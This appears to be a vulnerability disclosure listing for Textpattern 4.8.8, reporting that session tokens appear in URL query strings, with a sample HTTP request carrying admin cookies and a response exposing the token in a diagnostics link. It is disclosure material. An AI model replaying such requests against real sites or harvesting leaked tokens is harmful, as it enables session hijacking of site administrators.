Textpattern 4.8.8 Session Token Disclosure Vulnerability

🗓️ 19 May 2023 00:00:00Reported by nu11secur1tyType

zdt🔗 0day.today👁 379 Views

textpattern-4.8.8 Session Token Disclosure Vulnerability. Sensitive information in URLs, session token in URL risk

## Title:  textpattern-4.8.8 Session token in URL Vulnerability
## Author: nu11secur1ty
## Vendor: https://textpattern.com/
## Software: https://github.com/textpattern/textpattern/releases/tag/4.8.8
## Reference: https://portswigger.net/kb/issues/00500700_session-token-in-url,
https://cwe.mitre.org/data/definitions/200.html

## Description:
Sensitive information within URLs may be logged in various locations,
including the user's browser, the web server, and any forward or
reverse proxy servers between the two endpoints. URLs may also be
displayed on-screen, bookmarked or emailed around by users. They may
be disclosed to third parties via the Referer header when any off-site
links are followed. Placing session tokens into the URL increases the
risk that they will be captured by an attacker.
Issue detail: The URL in the request appears to contain a session
token within the query
string:http://pwnedhost7.com/textpattern-4.8.8/textpattern/index.php?logout=1&lang=en&_txp_token=64f17b3d874e3c5f9c728f03e1271c64

STATUS: Medium Vulnerability

[+]Exploit:
```GET
GET /textpattern-4.8.8/textpattern/index.php?event=diag HTTP/1.1
Host: pwnedhost7.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: txp_login=Admin%2C628717737574e8be05624bb2da74fb38;
txp_login_public=d5f8d91942Admin
Connection: close

```
[+]Response:
```HTTP
HTTP/1.1 200 OK
Date: Wed, 10 May 2023 07:51:37 GMT
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30
X-Powered-By: PHP/7.4.30
Content-Security-Policy: frame-ancestors 'self'
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 10725

<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<meta name="robots" content="noindex, nofollow">
<title>Diagnostics - My site | Textpattern CMS</title>
<script src="vendo
...[SNIP]...
<input name="event" type="hidden" value="diag" /><a rel="external
noopener" target="_blank"
href="?event=diag&step=phpinfo&_txp_token=64f17b3d874e3c5f9c728f03e1271c64">PHP
configuration <span class="ui-icon ui-icon-extlink">
```


## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/textpattern/2023/textpattern-4.8.8)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/05/textpattern-488-session-token-in-url.html)

## Time spend:
01:15:00

19 May 2023 00:00Current

6.9Medium risk

Vulners AI Score6.9